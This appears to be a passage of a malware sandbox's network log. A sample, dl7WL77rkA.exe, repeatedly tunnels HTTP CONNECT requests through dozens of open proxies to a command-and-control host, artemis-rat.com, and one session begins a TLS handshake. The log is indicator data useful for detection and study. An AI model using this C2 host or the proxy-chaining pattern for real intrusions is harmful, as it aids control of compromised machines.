Mar 11, 2024 03:30:48.889553070 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1859	192.168.2.5	55128	39.105.27.30	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.429590940 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:46.811192036 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1860	192.168.2.5	55149	194.4.50.127	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.435410023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1861	192.168.2.5	55112	178.54.21.203	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.448534966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1862	192.168.2.5	55155	194.4.50.60	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.453797102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1863	192.168.2.5	53464	43.255.113.232	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.454054117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.092693090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1864	192.168.2.5	53496	45.240.182.120	1981	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.456950903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.594574928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.702393055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.708508968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1865	192.168.2.5	55115	148.72.215.230	44387	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.460056067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1866	192.168.2.5	55126	123.126.158.50	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.464337111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.823081017 CET	536	IN	HTTP/1.1 502 Bad Gateway Server: openresty Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE a
Mar 11, 2024 03:30:46.823093891 CET	169	IN	Data Raw: 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e Data Ascii: nd Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1867	192.168.2.5	55070	47.91.65.23	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.467351913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.523102999 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1868	192.168.2.5	54109	162.253.68.97	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.479585886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1869	192.168.2.5	55156	23.19.244.109	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.480792046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1870	192.168.2.5	54290	103.180.198.130	8181	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.481189013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1871	192.168.2.5	54532	38.54.101.254	9000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.544573069 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:47.083408117 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:47.682040930 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:48.902421951 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:51.108223915 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:53.395950079 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:55.608269930 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:59.922334909 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1872	192.168.2.5	55131	116.199.168.1	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.561597109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1873	192.168.2.5	55157	193.239.58.92	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.564378977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1874	192.168.2.5	55134	115.127.31.66	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.582941055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1875	192.168.2.5	51161	203.153.125.13	65424	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.602478027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1876	192.168.2.5	51252	128.199.196.31	26579	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.609740973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1877	192.168.2.5	55158	185.132.242.212	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.632680893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1878	192.168.2.5	51372	51.75.126.150	36694	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.634123087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.701988935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1879	192.168.2.5	54620	132.148.16.169	11320	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.634123087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1880	192.168.2.5	51400	5.252.23.206	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.634295940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.702030897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.780484915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.811732054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1881	192.168.2.5	54526	181.110.214.134	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.640584946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.456773996 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1882	192.168.2.5	51471	45.117.179.179	35942	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.644520044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.701865911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.702769995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.708507061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1883	192.168.2.5	55160	45.11.95.165	5212	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.644766092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1884	192.168.2.5	55161	211.222.252.187	8197	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.645026922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1885	192.168.2.5	55162	45.120.178.197	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.645205021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1886	192.168.2.5	51388	81.17.94.50	34300	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.645689964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.702027082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.780502081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1887	192.168.2.5	54551	95.66.138.21	8880	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.650310040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1888	192.168.2.5	55163	103.156.232.85	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.679281950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1889	192.168.2.5	51474	14.143.145.35	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.757256031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.811239004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.236718893 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:30:51.329828024 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c da 9e e4 98 3e aa 2a 2d 6b a3 63 37 69 af 02 7d f2 c6 1e 16 29 29 d3 ed ac 51 0e 14 04 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: el>-kc7i}))Q,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:51.831386089 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ee 6c db ed 82 7e 38 a6 ce 85 78 18 83 6c c8 00 09 86 c4 a1 14 da ad 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 6b 0b 00 10 67 00 Data Ascii: C?el~8xlDOWNGRD/#kgde0a0I?LR0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240214225240Z240514225239Z010
Mar 11, 2024 03:30:51.831562996 CET	1286	IN	Data Raw: 98 6e 71 f4 11 ac 4d b8 a7 7d 6f da c6 bc f4 b1 9e 56 4d 29 6b 80 18 2b 54 cc 2f af 96 ce 21 d1 4a a2 d6 af dc dc c3 23 73 8a f8 60 aa 82 11 8f 73 e6 dd de ff f1 c4 74 75 19 89 f2 11 f3 81 b3 5c 09 1f 05 21 66 f5 dc f5 01 c2 34 dc e1 8e 2b 77 c7 Data Ascii: nqM}oVM)k+T/!J#s`stu\!f4+wF3yO3RDw.QJRh8?hXZR`UHG3XF%~ t\5\|0F<Arp'~00tP'S"0*H0G10UUS
Mar 11, 2024 03:30:52.250891924 CET	1286	IN	Data Raw: 9f 57 a9 41 6d 5a 90 a7 db 3a ea 75 80 0c 63 0b 69 74 6f 07 4c 15 f3 37 28 a5 19 a4 6e f5 f6 20 cd 63 b2 7e c4 2b 09 75 89 da d1 3c 2e 72 4f 36 1a a1 9e 44 d0 cd 9b a6 23 08 3f 97 a1 a7 9e 5a a5 f7 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de Data Ascii: WAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*
